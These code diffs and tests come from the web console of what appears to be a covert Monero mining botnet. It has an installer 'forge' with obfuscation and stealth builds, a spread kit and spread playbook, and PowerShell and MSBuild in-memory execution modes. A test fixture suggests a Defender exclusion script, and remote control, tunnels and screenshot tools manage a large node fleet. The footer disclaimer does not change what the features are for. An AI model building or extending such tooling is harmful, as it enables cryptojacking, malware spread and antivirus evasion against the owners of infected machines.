<span style={{ display: 'flex', alignItems: 'center', gap: '0.5rem' }}>
|
||||
<span className={`status-badge ${selectedAgent.status}`}>{selectedAgent.status}</span>
|
||||
{selectedAgent.status === 'online' && (
|
||||
<LatencyBadge ms={selectedAgent.latency_ms} />
|
||||
)}
|
||||
</span>
|
||||
</div>
|
||||
{selectedAgent.hostname && selectedAgent.hostname !== selectedAgent.name && (
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">Hostname</span>
|
||||
<span className="detail-value mono">{selectedAgent.hostname}</span>
|
||||
</div>
|
||||
)}
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">Last Seen</span>
|
||||
<span className="detail-value" title={selectedAgent.last_seen}>
|
||||
{selectedAgent.last_seen
|
||||
? new Date(selectedAgent.last_seen).toLocaleString()
|
||||
: '—'}
|
||||
</span>
|
||||
</div>
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">Wallet</span>
|
||||
<span className="detail-value mono">
|
||||
{selectedAgent.wallet
|
||||
? selectedAgent.wallet.length > 24
|
||||
? `${selectedAgent.wallet.slice(0, 20)}…`
|
||||
: selectedAgent.wallet
|
||||
: '—'}
|
||||
</span>
|
||||
</div>
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">IP Address</span>
|
||||
<span className="detail-value">{selectedAgent.ip}</span>
|
||||
</div>
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">Version</span>
|
||||
<span className="detail-value">{selectedAgent.version || 'Unknown'}</span>
|
||||
</div>
|
||||
{(selectedAgent.platform || selectedAgent.os_version) && (
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">Platform</span>
|
||||
<span className="detail-value">
|
||||
{[selectedAgent.platform, selectedAgent.arch].filter(Boolean).join(' / ')}
|
||||
{selectedAgent.os_version ? ` — ${selectedAgent.os_version}` : ''}
|
||||
</span>
|
||||
</div>
|
||||
)}
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">CPU Cores</span>
|
||||
<span className="detail-value">{selectedAgent.cpu_cores}</span>
|
||||
</div>
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">Memory</span>
|
||||
<span className="detail-value">{selectedAgent.memory_gb} GB</span>
|
||||
</div>
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">CPU Usage</span>
|
||||
<span className="detail-value">{selectedAgent.cpu_usage_pct.toFixed(1)}%</span>
|
||||
</div>
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">Uptime</span>
|
||||
<span className="detail-value">{formatUptime(selectedAgent.uptime_seconds)}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="detail-section">
|
||||
<h3>Hashrate</h3>
|
||||
<div className="hashrate-detail-grid">
|
||||
<div className="hashrate-item">
|
||||
<span className="detail-label">15s</span>
|
||||
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_15s)}</span>
|
||||
</div>
|
||||
<div className="hashrate-item">
|
||||
<span className="detail-label">1m</span>
|
||||
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_1m)}</span>
|
||||
</div>
|
||||
<div className="hashrate-item">
|
||||
<span className="detail-label">15m</span>
|
||||
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_15m)}</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="detail-section">
|
||||
<h3>Shares</h3>
|
||||
<div className="shares-detail-grid">
|
||||
<div className="share-stat good">
|
||||
<span className="share-count">{selectedAgent.shares_good}</span>
|
||||
<span className="share-label">Accepted</span>
|
||||
</div>
|
||||
<div className="share-stat bad">
|
||||
<span className="share-count">{selectedAgent.shares_bad}</span>
|
||||
<span className="share-label">Rejected</span>
|
||||
</div>
|
||||
<div className="share-stat total">
|
||||
<span className="share-count">{selectedAgent.shares_total}</span>
|
||||
<span className="share-label">Total</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{selectedAgent && (
|
||||
<div className="detail-section">
|
||||
<h3 className="font-tech">HASHRATE TELEMETRY</h3>
|
||||
{(() => {
|
||||
const live = [...hashrateHistory].reverse().map((s) => ({
|
||||
time: new Date(s.timestamp).toLocaleTimeString(),
|
||||
value: s.hashrate,
|
||||
}));
|
||||
const chart = resolveChartSeries(live);
|
||||
return (
|
||||
<HashrateChart
|
||||
title=""
|
||||
color="#00f5ff"
|
||||
unit="H/s"
|
||||
height={240}
|
||||
data={chart.data}
|
||||
displayMode={chart.mode}
|
||||
/>
|
||||
);
|
||||
})()}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="detail-section">
|
||||
<h3>Remote Control</h3>
|
||||
{selectedAgent.status !== 'online' && (
|
||||
<p className="form-hint">Agent is offline — remote actions are disabled until it reconnects.</p>
|
||||
)}
|
||||
<AgentRemoteActions
|
||||
agent={selectedAgent}
|
||||
online={selectedAgent.status === 'online'}
|
||||
commandResults={commandResults}
|
||||
showLiveStats
|
||||
onCommandSent={(action: string) => {
|
||||
if (action === 'get_log') refreshLog(true);
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="detail-section">
|
||||
<h3>
|
||||
Agent Log{' '}
|
||||
<button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading || selectedAgent.status !== 'online'}>{logLoading ? '…' : 'Refresh'}</button>
|
||||
<button
|
||||
type="button"
|
||||
className="agent-action-btn"
|
||||
disabled={logDownloading || selectedAgent.status !== 'online'}
|
||||
title="Download full agent log as a file"
|
||||
style={{ marginLeft: '0.4rem' }}
|
||||
onClick={async () => {
|
||||
setLogDownloading(true);
|
||||
try {
|
||||
await api.downloadAgentLog(selectedAgent.id);
|
||||
} catch (err) {
|
||||
alert(err instanceof Error ? err.message : 'Download failed');
|
||||
} finally {
|
||||
setLogDownloading(false);
|
||||
}
|
||||
}}
|
||||
>
|
||||
{logDownloading ? '…' : '⬇ Download'}
|
||||
</button>
|
||||
</h3>
|
||||
<p className="form-hint">Streams miner.log when file_logging is enabled (non-stealth builds).</p>
|
||||
<pre className="log-viewer">{logContent || (selectedAgent.status === 'online' ? 'Click Fetch Log or Refresh' : 'Agent offline')}</pre>
|
||||
</div>
|
||||
</NeonCard>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
<CreateGroupModal
|
||||
open={showGroupModal}
|
||||
agentCount={selectedIds.size}
|
||||
onClose={() => setShowGroupModal(false)}
|
||||
onCreate={(name, color) => {
|
||||
addGroup(name, color, [...selectedIds]);
|
||||
setShowGroupModal(false);
|
||||
}}
|
||||
/>
|
||||
|
||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||
</footer>
|
||||
</div>
|
||||
);
|
||||
return <Navigate to="/crucible" replace />;
|
||||
}
|
||||
|
||||
@@ -291,4 +291,45 @@ describe('BuilderPage', () => {
|
||||
expect(api.buildAgent).toHaveBeenCalled();
|
||||
expect(api.exportSpreadKit).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('polls builder progress endpoint while a forge is running', async () => {
|
||||
type BuildResult = Awaited<ReturnType<typeof api.buildAgent>>;
|
||||
let resolveBuild!: (value: BuildResult) => void;
|
||||
vi.spyOn(api, 'buildAgent').mockReturnValue(
|
||||
new Promise<BuildResult>((resolve) => {
|
||||
resolveBuild = resolve;
|
||||
}),
|
||||
);
|
||||
|
||||
const fetchMock = vi.fn().mockResolvedValue({
|
||||
ok: true,
|
||||
json: async () => ({ stage: 'Compiling agent', pct: 42 }),
|
||||
});
|
||||
vi.stubGlobal('fetch', fetchMock);
|
||||
|
||||
renderBuilder();
|
||||
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
|
||||
fireEvent.click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
|
||||
|
||||
await waitFor(
|
||||
() => {
|
||||
expect(fetchMock).toHaveBeenCalledWith(
|
||||
expect.stringMatching(/\/api\/v1\/builder\/progress\//),
|
||||
expect.objectContaining({ headers: expect.any(Object) }),
|
||||
);
|
||||
},
|
||||
{ timeout: 3000 },
|
||||
);
|
||||
|
||||
resolveBuild({
|
||||
success: true,
|
||||
file_name: 'worker-1.exe',
|
||||
file_size: 1024,
|
||||
download_url: '/api/v1/builds/test/download',
|
||||
fusion_enabled: false,
|
||||
obfuscated: false,
|
||||
signed: false,
|
||||
});
|
||||
await waitFor(() => expect(screen.getByText('worker-1.exe')).toBeInTheDocument());
|
||||
});
|
||||
});
|
||||
|
||||
@@ -76,6 +76,8 @@ import {
|
||||
type MissionOperationChip,
|
||||
type MissionWizardStep,
|
||||
} from '../help/forgeMissionWizard';
|
||||
import { LOTL_ONION_TIER_DOCS } from '../help/lotlOnionTiers';
|
||||
import { spreadTechniqueDocUrl } from '../help/spreadTechniques';
|
||||
import './Pages.css';
|
||||
import './BuilderPage.css';
|
||||
|
||||
@@ -1372,6 +1374,29 @@ export default function BuilderPage() {
|
||||
))}
|
||||
</div>
|
||||
<p className="form-hint">{OPERATION_MODES.find((m) => m.id === operationMode)?.blurb}</p>
|
||||
{operationMode === 'lotl_onion' && (
|
||||
<details className="forge-lotl-doc" style={{ marginTop: '0.5rem' }}>
|
||||
<summary className="form-hint" style={{ cursor: 'pointer' }}>
|
||||
LOTL Onion tiers — same XMR Wallet Address; server-pulled order on connect
|
||||
</summary>
|
||||
<ul className="form-hint" style={{ margin: '0.35rem 0 0', paddingLeft: '1.2rem' }}>
|
||||
{LOTL_ONION_TIER_DOCS.map((t) => (
|
||||
<li key={t.id}>
|
||||
{t.label} — {t.hint}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
<a
|
||||
href={spreadTechniqueDocUrl('lotl-onion')}
|
||||
target="_blank"
|
||||
rel="noreferrer"
|
||||
className="form-hint"
|
||||
style={{ display: 'inline-block', marginTop: '0.35rem' }}
|
||||
>
|
||||
Spread playbook: LOTL Onion tab →
|
||||
</a>
|
||||
</details>
|
||||
)}
|
||||
</div>
|
||||
<div className="form-group" style={{ marginBottom: '1rem' }}>
|
||||
<label className="label">Spread profile presets</label>
|
||||
@@ -1933,6 +1958,21 @@ export default function BuilderPage() {
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 256) updateField('min_free_ram_mb', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 256) updateField('min_free_ram_mb', 512); }} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Miner Execution <HelpTip field="miner_execution" /></label>
|
||||
<select
|
||||
className="select"
|
||||
value={form.miner_execution ?? 'inprocess'}
|
||||
onChange={(e) => updateField('miner_execution', e.target.value)}
|
||||
>
|
||||
<option value="inprocess">In-process RandomX (default, AV-safe CPU)</option>
|
||||
<option value="auto">Auto (container if Docker detected)</option>
|
||||
<option value="container">Container mining</option>
|
||||
<option value="subprocess">Subprocess (GPU miners)</option>
|
||||
<option value="powershell">PowerShell in-memory (LOTL)</option>
|
||||
<option value="dotnet">Dotnet/MSBuild compile-at-runtime (LOTL)</option>
|
||||
</select>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
|
||||
<select
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen, waitFor } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import { mockAgent } from '../test/fixtures';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
@@ -56,6 +57,14 @@ vi.mock('../components/Fleet/FleetGroupsStrip', () => ({
|
||||
default: () => null,
|
||||
}));
|
||||
|
||||
vi.mock('../hooks/useFleetBulkActions', () => ({
|
||||
useFleetBulkActions: () => ({ bulkBusy: false, handleBulkAction: vi.fn() }),
|
||||
}));
|
||||
|
||||
vi.mock('../components/Fleet/CrucibleAgentMeta', () => ({
|
||||
default: () => null,
|
||||
}));
|
||||
|
||||
vi.mock('../components/Presence/AlsoHere', () => ({
|
||||
default: () => null,
|
||||
}));
|
||||
@@ -194,6 +203,23 @@ describe('CruciblePage terminal — command_result processing', () => {
|
||||
expect(screen.getAllByText('first')).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('renders fleet filter toolbar when agents are registered', async () => {
|
||||
const agent = mockAgent({ name: 'FilterNode', status: 'online' });
|
||||
renderCrucible(makeWsValue({ agents: [agent] }));
|
||||
await waitFor(() => {
|
||||
expect(screen.getByPlaceholderText('Search name, IP, notes, tags…')).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.getByText('FilterNode')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows filter empty hint when no nodes match', async () => {
|
||||
const agent = mockAgent({ name: 'HiddenNode', tags: ['prod'] });
|
||||
renderCrucible(makeWsValue({ agents: [agent] }));
|
||||
await waitFor(() => expect(screen.getByPlaceholderText('Search name, IP, notes, tags…')).toBeInTheDocument());
|
||||
await userEvent.setup().type(screen.getByPlaceholderText('Search name, IP, notes, tags…'), 'nomatchxyz');
|
||||
expect(screen.getByText('No nodes match filters.')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows fallback line when command result message is empty', async () => {
|
||||
const agent = mockAgent({ id: 'agent-empty-001', name: 'EmptyNode', status: 'online' });
|
||||
renderCrucible(
|
||||
@@ -209,6 +235,71 @@ describe('CruciblePage terminal — command_result processing', () => {
|
||||
expect(screen.getByText('[pause] OK')).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
it('renders mining diagnostics JSON in terminal', async () => {
|
||||
const agent = mockAgent({ id: 'agent-diag-001', name: 'DiagNode', status: 'online' });
|
||||
const diagnostics = {
|
||||
generated_at: '2026-06-06T12:00:00.000Z',
|
||||
platform: 'windows',
|
||||
configured_execution: 'auto',
|
||||
execution_mode: 'inprocess',
|
||||
active_method: 'inprocess',
|
||||
lotl_tier: 'inprocess',
|
||||
mining_hashrate: 512,
|
||||
lotl_attempts: [
|
||||
{ tier: 'container', ok: false, error: 'docker not found', duration_ms: 600 },
|
||||
{ tier: 'inprocess', ok: true, duration_ms: 1800 },
|
||||
],
|
||||
likely_blockers: [
|
||||
'mining paused by remote command or healthy container delegation',
|
||||
'Windows Defender real-time protection is ON — use Calibrate exclusion script or allowlist install path',
|
||||
],
|
||||
cpu: { remote_paused: true, has_job: false, hashrate_hps: 0 },
|
||||
gpu: { enabled: false, active: false, paused: false },
|
||||
};
|
||||
const commandResults = [
|
||||
{
|
||||
agent_id: 'agent-diag-001',
|
||||
action: 'mining_diagnostics',
|
||||
success: true,
|
||||
message: JSON.stringify(diagnostics, null, 2),
|
||||
_seq: 1,
|
||||
},
|
||||
];
|
||||
|
||||
renderCrucible(makeWsValue({ agents: [agent], commandResults }));
|
||||
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText('MINING DIAGNOSTICS')).toBeInTheDocument();
|
||||
expect(screen.getByText('LIKELY BLOCKERS')).toBeInTheDocument();
|
||||
expect(
|
||||
screen.getByText('mining paused by remote command or healthy container delegation'),
|
||||
).toBeInTheDocument();
|
||||
expect(
|
||||
screen.getByText(
|
||||
'Windows Defender real-time protection is ON — use Calibrate exclusion script or allowlist install path',
|
||||
),
|
||||
).toBeInTheDocument();
|
||||
expect(screen.getByText('Execution')).toBeInTheDocument();
|
||||
expect(screen.getAllByText('inprocess').length).toBeGreaterThanOrEqual(1);
|
||||
expect(screen.getByText('LOTL TIER CHAIN')).toBeInTheDocument();
|
||||
expect(screen.getByText('docker not found')).toBeInTheDocument();
|
||||
expect(screen.getByText('600ms')).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
it('shows LOTL tier badge on agent card when lotl_tier is set', async () => {
|
||||
const agent = mockAgent({
|
||||
id: 'agent-lotl-001',
|
||||
name: 'LotlNode',
|
||||
status: 'online',
|
||||
lotl_tier: 'wsl',
|
||||
});
|
||||
renderCrucible(makeWsValue({ agents: [agent] }));
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText('LOTL WSL')).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
// ── Helper function tests ─────────────────────────────────────────────────
|
||||
|
||||
@@ -6,7 +6,15 @@ import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import LatencyBadge from '../components/Fleet/LatencyBadge';
|
||||
import CreateGroupModal from '../components/Fleet/CreateGroupModal';
|
||||
import FleetGroupsStrip from '../components/Fleet/FleetGroupsStrip';
|
||||
import { formatHashrate } from '../help/fleetFilters';
|
||||
import FleetToolbar from '../components/Fleet/FleetToolbar';
|
||||
import CrucibleAgentMeta from '../components/Fleet/CrucibleAgentMeta';
|
||||
import {
|
||||
DEFAULT_FLEET_FILTERS,
|
||||
filterFleetAgents,
|
||||
formatHashrate,
|
||||
type FleetFilterState,
|
||||
} from '../help/fleetFilters';
|
||||
import { useFleetBulkActions } from '../hooks/useFleetBulkActions';
|
||||
import { primaryGroupForAgent } from '../help/fleetGroups';
|
||||
import { useFleetGroups } from '../hooks/useFleetGroups';
|
||||
import { useMatrixRain } from '../context/MatrixRainContext';
|
||||
@@ -15,10 +23,15 @@ import type { WSCommandResult } from '../types/ws';
|
||||
import { sanitizeScreenshotBase64 } from '../help/screenshotDownload';
|
||||
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
|
||||
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
|
||||
import LotlAttemptsList from '../components/Fleet/LotlAttemptsList';
|
||||
import LotlTierBadge from '../components/Fleet/LotlTierBadge';
|
||||
import RiskBadge from '../components/Fleet/RiskBadge';
|
||||
import FleetHeatMiniMap from '../components/Fleet/FleetHeatMiniMap';
|
||||
import { parseTierReport } from '../types/lotl';
|
||||
import AlsoHere from '../components/Presence/AlsoHere';
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
import '../components/Fleet/FullSysCheckPanel.css';
|
||||
import '../components/Fleet/FleetToolbar.css';
|
||||
import './CruciblePage.css';
|
||||
|
||||
// ── Types ──────────────────────────────────────────────────────────────────
|
||||
@@ -90,7 +103,25 @@ interface RichFullSysCheck {
|
||||
report: FullSysCheckReport;
|
||||
}
|
||||
|
||||
type RichTermData = RichListenPorts | RichPatchStatus | RichPostureSummary | RichScreenshot | RichFullSysCheck;
|
||||
interface RichMiningDiagnostics {
|
||||
type: 'mining_diagnostics';
|
||||
generated_at?: string;
|
||||
active_method?: string;
|
||||
execution_mode?: string;
|
||||
likely_blockers: string[];
|
||||
av_recommendation?: string;
|
||||
lotl_tier?: string;
|
||||
lotl_attempts?: import('../types/lotl').TierAttempt[];
|
||||
mining_hashrate?: number;
|
||||
}
|
||||
|
||||
type RichTermData =
|
||||
| RichListenPorts
|
||||
| RichPatchStatus
|
||||
| RichPostureSummary
|
||||
| RichScreenshot
|
||||
| RichFullSysCheck
|
||||
| RichMiningDiagnostics;
|
||||
|
||||
// ── Helpers ────────────────────────────────────────────────────────────────
|
||||
|
||||
@@ -304,6 +335,9 @@ const PROBE_SSH_SH = `ss -tlnp 2>/dev/null | grep -q ':22' && echo SSH_PROBE:ONL
|
||||
/** Max terminal lines rendered in the DOM (full history kept in state for scrollback export). */
|
||||
const TERM_RENDER_CAP = 400;
|
||||
|
||||
/** Roster page size — avoids rendering 500+ node cards at once. */
|
||||
const ROSTER_PAGE_SIZE = 80;
|
||||
|
||||
// ── Component ──────────────────────────────────────────────────────────────
|
||||
|
||||
export default function CruciblePage() {
|
||||
@@ -312,8 +346,14 @@ export default function CruciblePage() {
|
||||
|
||||
// Selection
|
||||
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
|
||||
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
|
||||
const [showGroupModal, setShowGroupModal] = useState(false);
|
||||
const { groups, addGroup, removeGroup } = useFleetGroups();
|
||||
const { bulkBusy, handleBulkAction } = useFleetBulkActions({
|
||||
agents,
|
||||
selectedIds,
|
||||
commandResults,
|
||||
});
|
||||
|
||||
// Terminal
|
||||
const [termLines, setTermLines] = useState<TermLine[]>([]);
|
||||
@@ -331,12 +371,38 @@ export default function CruciblePage() {
|
||||
|
||||
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
|
||||
const [activeTab, setActiveTab] = useState<'ops' | 'recon' | 'files' | 'spread' | 'tunnels'>('ops');
|
||||
const [rosterPage, setRosterPage] = useState(0);
|
||||
|
||||
// SSH / posture overrides (from on-demand probes)
|
||||
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
|
||||
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
|
||||
|
||||
const allIds = useMemo(() => agents.map((a) => a.id), [agents]);
|
||||
|
||||
const sortedAgents = useMemo(() => [...agents].sort((a, b) => {
|
||||
if (a.status === 'online' && b.status !== 'online') return -1;
|
||||
if (a.status !== 'online' && b.status === 'online') return 1;
|
||||
const ta = a.last_seen ? new Date(a.last_seen).getTime() : 0;
|
||||
const tb = b.last_seen ? new Date(b.last_seen).getTime() : 0;
|
||||
if (tb !== ta) return tb - ta;
|
||||
return a.name.localeCompare(b.name);
|
||||
}), [agents]);
|
||||
|
||||
const filteredAgents = useMemo(
|
||||
() => filterFleetAgents(sortedAgents, filters),
|
||||
[sortedAgents, filters],
|
||||
);
|
||||
|
||||
const rosterPageCount = Math.max(1, Math.ceil(filteredAgents.length / ROSTER_PAGE_SIZE));
|
||||
const rosterPageSafe = Math.min(rosterPage, rosterPageCount - 1);
|
||||
const rosterSlice = useMemo(() => {
|
||||
const start = rosterPageSafe * ROSTER_PAGE_SIZE;
|
||||
return filteredAgents.slice(start, start + ROSTER_PAGE_SIZE);
|
||||
}, [filteredAgents, rosterPageSafe]);
|
||||
|
||||
useEffect(() => {
|
||||
setRosterPage(0);
|
||||
}, [filters]);
|
||||
const selectedAgents = useMemo(
|
||||
() => agents.filter((a) => selectedIds.has(a.id)),
|
||||
[agents, selectedIds]
|
||||
@@ -499,6 +565,24 @@ export default function CruciblePage() {
|
||||
}));
|
||||
if (parsed.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true }));
|
||||
if (parsed.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false }));
|
||||
} else if (r.action === 'mining_diagnostics') {
|
||||
const blockers = parsed.likely_blockers ?? parsed.blockers;
|
||||
const tierFields = parseTierReport(parsed as Record<string, unknown>);
|
||||
if (Array.isArray(blockers) || tierFields.lotl_attempts.length > 0) {
|
||||
richData = {
|
||||
type: 'mining_diagnostics',
|
||||
generated_at: parsed.generated_at,
|
||||
active_method: parsed.active_method,
|
||||
execution_mode: parsed.execution_mode,
|
||||
likely_blockers: Array.isArray(blockers)
|
||||
? blockers.filter((b: unknown) => typeof b === 'string')
|
||||
: [],
|
||||
av_recommendation: parsed.av_recommendation,
|
||||
lotl_tier: tierFields.lotl_tier,
|
||||
lotl_attempts: tierFields.lotl_attempts,
|
||||
mining_hashrate: tierFields.mining_hashrate,
|
||||
};
|
||||
}
|
||||
} else {
|
||||
// Generic JSON with posture fields (legacy path)
|
||||
if (typeof parsed.posture_score === 'number') {
|
||||
@@ -910,10 +994,44 @@ export default function CruciblePage() {
|
||||
</div>
|
||||
);
|
||||
|
||||
const RichMiningDiagnosticsBlock = ({ d }: { d: RichMiningDiagnostics }) => (
|
||||
<div className="rich-block rich-mining-diag">
|
||||
<div className="rich-header">
|
||||
<span className="rich-label">MINING DIAGNOSTICS</span>
|
||||
{d.lotl_tier && <LotlTierBadge tier={d.lotl_tier} attempts={d.lotl_attempts} variant="inline" />}
|
||||
{d.active_method && <span className="rich-tag">{d.active_method}</span>}
|
||||
</div>
|
||||
{d.execution_mode && (
|
||||
<div className="rich-kv-row">
|
||||
<span className="rich-key">Execution</span>
|
||||
<span className="rich-val">{d.execution_mode}</span>
|
||||
</div>
|
||||
)}
|
||||
{(d.lotl_attempts?.length ?? 0) > 0 && (
|
||||
<LotlAttemptsList
|
||||
attempts={d.lotl_attempts ?? []}
|
||||
activeTier={d.lotl_tier}
|
||||
miningHashrate={d.mining_hashrate}
|
||||
/>
|
||||
)}
|
||||
<div className="rich-sub-label">LIKELY BLOCKERS</div>
|
||||
{d.likely_blockers.length === 0 ? (
|
||||
<div className="rich-empty">No blockers detected</div>
|
||||
) : (
|
||||
<ul className="rich-blocker-list">
|
||||
{d.likely_blockers.map((b, i) => (
|
||||
<li key={i} className="rich-blocker-item">{b}</li>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
|
||||
const renderRichData = (d: RichTermData, lineAgentName?: string) => {
|
||||
if (d.type === 'listen_ports') return <RichListenPortsTable d={d} />;
|
||||
if (d.type === 'patch_status') return <RichPatchStatusBlock d={d} />;
|
||||
if (d.type === 'posture') return <RichPostureSummaryBlock d={d} />;
|
||||
if (d.type === 'mining_diagnostics') return <RichMiningDiagnosticsBlock d={d} />;
|
||||
if (d.type === 'full_sys_check') {
|
||||
return <FullSysCheckPanel report={d.report} agentName={lineAgentName ?? 'agent'} />;
|
||||
}
|
||||
@@ -962,6 +1080,20 @@ export default function CruciblePage() {
|
||||
|
||||
<AlsoHere page="/crucible" />
|
||||
|
||||
{agents.length > 0 && (
|
||||
<FleetToolbar
|
||||
agents={agents}
|
||||
filters={filters}
|
||||
onChange={setFilters}
|
||||
selectedCount={selectedIds.size}
|
||||
filteredCount={filteredAgents.length}
|
||||
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
|
||||
onBulkAction={handleBulkAction}
|
||||
onCreateGroup={() => setShowGroupModal(true)}
|
||||
bulkBusy={bulkBusy}
|
||||
/>
|
||||
)}
|
||||
|
||||
<FleetGroupsStrip
|
||||
groups={groups}
|
||||
liveAgentIds={onlineAgentIds}
|
||||
@@ -999,9 +1131,21 @@ export default function CruciblePage() {
|
||||
</div>
|
||||
{agents.length === 0 ? (
|
||||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>No nodes registered. Forge a build and deploy it to your machines.</p>
|
||||
) : filteredAgents.length === 0 ? (
|
||||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>No nodes match filters.</p>
|
||||
) : (
|
||||
<>
|
||||
{filteredAgents.length > ROSTER_PAGE_SIZE && (
|
||||
<div className="crucible-roster-pager" style={{ display: 'flex', alignItems: 'center', gap: '0.75rem', marginBottom: '0.5rem', fontSize: '0.8rem' }}>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={rosterPageSafe <= 0} onClick={() => setRosterPage((p) => Math.max(0, p - 1))}>← Prev</button>
|
||||
<span className="font-tech">
|
||||
{rosterPageSafe * ROSTER_PAGE_SIZE + 1}–{Math.min((rosterPageSafe + 1) * ROSTER_PAGE_SIZE, filteredAgents.length)} of {filteredAgents.length}
|
||||
</span>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={rosterPageSafe >= rosterPageCount - 1} onClick={() => setRosterPage((p) => Math.min(rosterPageCount - 1, p + 1))}>Next →</button>
|
||||
</div>
|
||||
)}
|
||||
<div className="crucible-roster">
|
||||
{agents.map((a) => {
|
||||
{rosterSlice.map((a) => {
|
||||
const sel = selectedIds.has(a.id);
|
||||
const isOn = online(a);
|
||||
const ssh = sshStatus(a);
|
||||
@@ -1036,6 +1180,18 @@ export default function CruciblePage() {
|
||||
<span className="cn-badge">{a.platform ?? 'unknown'}{a.arch ? `·${a.arch}` : ''}</span>
|
||||
<span className={`cn-status-dot ${isOn ? 'on' : 'off'}`} />
|
||||
</div>
|
||||
{(a.tags?.length ?? 0) > 0 && (
|
||||
<div className="cn-tags" style={{ display: 'flex', flexWrap: 'wrap', gap: '0.25rem', marginTop: '0.2rem' }}>
|
||||
{a.tags!.map((t) => (
|
||||
<span key={t} className="agent-tag-chip" style={{ fontSize: '0.65rem' }}>{t}</span>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
{a.notes?.trim() && (
|
||||
<div className="form-hint" style={{ fontSize: '0.68rem', marginTop: '0.15rem', opacity: 0.75 }}>
|
||||
{a.notes.trim().slice(0, 60)}{a.notes.length > 60 ? '…' : ''}
|
||||
</div>
|
||||
)}
|
||||
<div className="cn-ip font-tech">{a.ip || '—'}</div>
|
||||
<div className="cn-stats">
|
||||
<span>{a.cpu_cores}c</span>
|
||||
@@ -1043,6 +1199,8 @@ export default function CruciblePage() {
|
||||
<LatencyBadge ms={isOn ? a.latency_ms : undefined} compact />
|
||||
</div>
|
||||
<div className="cn-badges">
|
||||
<LotlTierBadge tier={a.lotl_tier} attempts={a.lotl_attempts} />
|
||||
<RiskBadge findings={a.vuln_findings} />
|
||||
<div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div>
|
||||
<div
|
||||
className={`cn-posture ${posture.cls}`}
|
||||
@@ -1131,9 +1289,14 @@ export default function CruciblePage() {
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
{focusedAgent && (
|
||||
<CrucibleAgentMeta agent={focusedAgent} />
|
||||
)}
|
||||
|
||||
{/* ── Focused machine banner ──────────────────────────────────────── */}
|
||||
{focusedAgent && (
|
||||
<div className="crucible-focus-bar" style={{
|
||||
@@ -1150,6 +1313,8 @@ export default function CruciblePage() {
|
||||
</span>
|
||||
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.ip || '—'}</span>
|
||||
<span className={`status-badge ${focusedAgent.status}`}>{focusedAgent.status}</span>
|
||||
